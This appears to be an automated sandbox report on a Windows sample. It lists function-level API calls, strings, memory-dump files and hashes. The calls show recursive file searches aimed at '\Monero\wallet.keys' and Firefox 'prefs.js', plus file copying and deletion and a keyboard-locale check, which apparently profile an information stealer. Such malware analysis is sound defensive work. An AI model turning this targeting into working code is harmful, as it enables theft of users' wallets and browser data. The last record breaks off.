StrCmpCA.SHLWAPI(?,003A0FC4), ref: 003945EB
StrCmpCA.SHLWAPI(?,003A0FC8), ref: 00394601
FindNextFileA.KERNEL32(000000FF,?), ref: 0039468B
FindClose.KERNEL32(000000FF), ref: 003946A0
lstrcat.KERNEL32(?,00E3EA68), ref: 003946C5
lstrcat.KERNEL32(?,00E3D6A0), ref: 003946D8
lstrlen.KERNEL32(?), ref: 003946E5
lstrlen.KERNEL32(?), ref: 003946F6

Strings

h, xrefs: 003946B7
%s\%s, xrefs: 0039461B
%s\*, xrefs: 0039459A

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$h
API String ID: 671575355-2685894120
Opcode ID: 78eb76d3e2728e804953fdc3e252be917b39748e627dbee17545957aca917dbd
Instruction ID: 9fb4a68e76a8f11cef5f80f255d5ce961b7dfaeaa695682f216887ff39fb0488
Opcode Fuzzy Hash: 78eb76d3e2728e804953fdc3e252be917b39748e627dbee17545957aca917dbd
Instruction Fuzzy Hash: CF5166B290021C9FCB25EBB0DC89FED777CEB58304F404588F60996190EB759B898F92

Function 00393EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00393EC3
FindFirstFileA.KERNEL32(?,?), ref: 00393EDA
StrCmpCA.SHLWAPI(?,003A0FAC), ref: 00393F08
StrCmpCA.SHLWAPI(?,003A0FB0), ref: 00393F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0039406C
FindClose.KERNEL32(000000FF), ref: 00394081

Strings

h, xrefs: 00393F4F
%s\%s, xrefs: 00393EB7

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$h
API String ID: 180737720-3418665255
Opcode ID: 825499c665a6fb28f6f7ed5093a704ddb6b3af131655246e4e26740c846ba1cc
Instruction ID: ac134226c8a142292185540a1a6c4351128ecff7f9b773924a59eb9737d7c940
Opcode Fuzzy Hash: 825499c665a6fb28f6f7ed5093a704ddb6b3af131655246e4e26740c846ba1cc
Instruction Fuzzy Hash: 4F5156B2900618AFCF25FBB0DC85EEA777CBB54704F004588F65996040EB759B8A8F91

Function 0038ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0038ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0038ED55
StrCmpCA.SHLWAPI(?,003A1538), ref: 0038EDAB
StrCmpCA.SHLWAPI(?,003A153C), ref: 0038EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0038F2AE
FindClose.KERNEL32(000000FF), ref: 0038F2C3

Strings

%s\*.*, xrefs: 0038ED32

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: db1615eeeea62dd4f8f7c49b106757dc41fdd83c57e9c2490b61f211f9b56656
Instruction ID: 5cb5283eba525e577deeeabbedd988c94372c50047f3a96566bf2890de7373ea
Opcode Fuzzy Hash: db1615eeeea62dd4f8f7c49b106757dc41fdd83c57e9c2490b61f211f9b56656
Instruction Fuzzy Hash: 1FE1F1729116189AEF56FB60CC52EEE7778AF54300F4042D9B50A66052EF306F8ADF92

Function 0038F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A15B8,003A0D96), ref: 0038F71E
StrCmpCA.SHLWAPI(?,003A15BC), ref: 0038F76F
StrCmpCA.SHLWAPI(?,003A15C0), ref: 0038F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0038FAB1
FindClose.KERNEL32(000000FF), ref: 0038FAC3

Strings

prefs.js, xrefs: 0038F812

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: c850de1f326e7325085e5567317f8e005f8b5387cead9a951ecbb7ab576a05b2
Instruction ID: 345190553593bfe3a6165fd0bb3eb4775beada9ea58b0bd76d1a38f9673c7302
Opcode Fuzzy Hash: c850de1f326e7325085e5567317f8e005f8b5387cead9a951ecbb7ab576a05b2
Instruction Fuzzy Hash: 9DB130719106189FDF26FB60DC96EEE7779AF54300F4082A8E40A9A141EF316B49CFD2

Function 003816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A510C,?,?,?,003A51B4,?,?,00000000,?,00000000), ref: 00381923
StrCmpCA.SHLWAPI(?,003A525C), ref: 00381973
StrCmpCA.SHLWAPI(?,003A5304), ref: 00381989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00381D40
DeleteFileA.KERNEL32(00000000), ref: 00381DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00381E20
FindClose.KERNEL32(000000FF), ref: 00381E32

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Strings

\*.*, xrefs: 003817F1

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e8bc45e8eb5968bd0ddab93fff29ab825be0027592622213ad00f45450d1dcb5
Instruction ID: 3a0518717faf1c9664d67be8a45899cd1d89ffe58afa35426af9825ce381a83b
Opcode Fuzzy Hash: e8bc45e8eb5968bd0ddab93fff29ab825be0027592622213ad00f45450d1dcb5
Instruction Fuzzy Hash: 7A12DD719246189BDF1AFB60CC96EEE7778AF54300F404299B50A6A091EF306F89DFD1

Function 0038DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003A0C2E), ref: 0038DE5E
StrCmpCA.SHLWAPI(?,003A14C8), ref: 0038DEAE
StrCmpCA.SHLWAPI(?,003A14CC), ref: 0038DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0038E3E0
FindClose.KERNEL32(000000FF), ref: 0038E3F2

Strings

\*.*, xrefs: 0038DE26

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 6025f25a974ae067bda761f99ef03d728629f531ca7113b1f7625fa69c7074e0
Instruction ID: 657f861a02882f2d322ce1ba1b83a16218c053819411782396eb43c43196ee86
Opcode Fuzzy Hash: 6025f25a974ae067bda761f99ef03d728629f531ca7113b1f7625fa69c7074e0
Instruction Fuzzy Hash: 18F180718246289ADF17FB60DC95EEE7778BF54300F5042D9A40A66091EF306F8ADF91

Function 0038DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003A14B0,003A0C2A), ref: 0038DAEB
StrCmpCA.SHLWAPI(?,003A14B4), ref: 0038DB33
StrCmpCA.SHLWAPI(?,003A14B8), ref: 0038DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0038DDCC
FindClose.KERNEL32(000000FF), ref: 0038DDDE

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4352db75c054b5525481e408a03103b11c45386ef412d974057e4cdbda4ac861
Instruction ID: 22a5c966a220b8164038bfbea6eca7a428759c6bdf09bc6190cb3fb49b186b33
Opcode Fuzzy Hash: 4352db75c054b5525481e408a03103b11c45386ef412d974057e4cdbda4ac861
Instruction Fuzzy Hash: 369124729106189BDF16FBB0EC56DED777DAF94300F408658F90A9A181EE349B0D8BD2

Function 0074DC9C Relevance: 11.6, Strings: 8, Instructions: 1622COMMON

Download Yara Rule

Strings

~]+, xrefs: 0074E93D
:dv, xrefs: 0074DE37
Vo1s, xrefs: 0074E35C
1yg, xrefs: 0074E22C
(Xs, xrefs: 0074DCE0
P{, xrefs: 0074E0AF
8F, xrefs: 0074E4E7
aZ, xrefs: 0074EB9D

Memory Dump Source

Source File: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1yg$8F$:dv$P{$Vo1s$aZ$~]+$(Xs
API String ID: 0-3018912018
Opcode ID: e2db3df146af9b82eca178762573702ace902ea5f1c37097785231ed54d0e380
Instruction ID: fb7c940d204a6adf3953666379515c40e21e06c130bbd43fa93e36e257cf604f
Opcode Fuzzy Hash: e2db3df146af9b82eca178762573702ace902ea5f1c37097785231ed54d0e380
Instruction Fuzzy Hash: 57B226B3A082149FE3046E2DEC8567AFBE9EF94720F1A493DEAC4C7744E63558018797

Function 00397B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

GetKeyboardLayoutList.USER32(00000000,00000000,003A05AF), ref: 00397BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00397BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00397C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00397C62
LocalFree.KERNEL32(00000000), ref: 00397D22

Strings

/ , xrefs: 00397C7F

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e13667c04cfc850577ac91fdb1150bd9d1f2ad6aabe688eaae2bccbd9f1c4d0d
Instruction ID: 80e97e073348eac0fe9352ec6d92739cfdacc90ccade130b803cc1e2d0414caf
Opcode Fuzzy Hash: e13667c04cfc850577ac91fdb1150bd9d1f2ad6aabe688eaae2bccbd9f1c4d0d
Instruction Fuzzy Hash: 5A415A7191062CABDF25DB94DC99BEEB7B8FF44700F204299E00966180DB342F89CFA1

Function 0038E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003A0D73), ref: 0038E4A2
StrCmpCA.SHLWAPI(?,003A14F8), ref: 0038E4F2
StrCmpCA.SHLWAPI(?,003A14FC), ref: 0038E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0038EBDF

Strings

\*.*, xrefs: 0038E44D

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
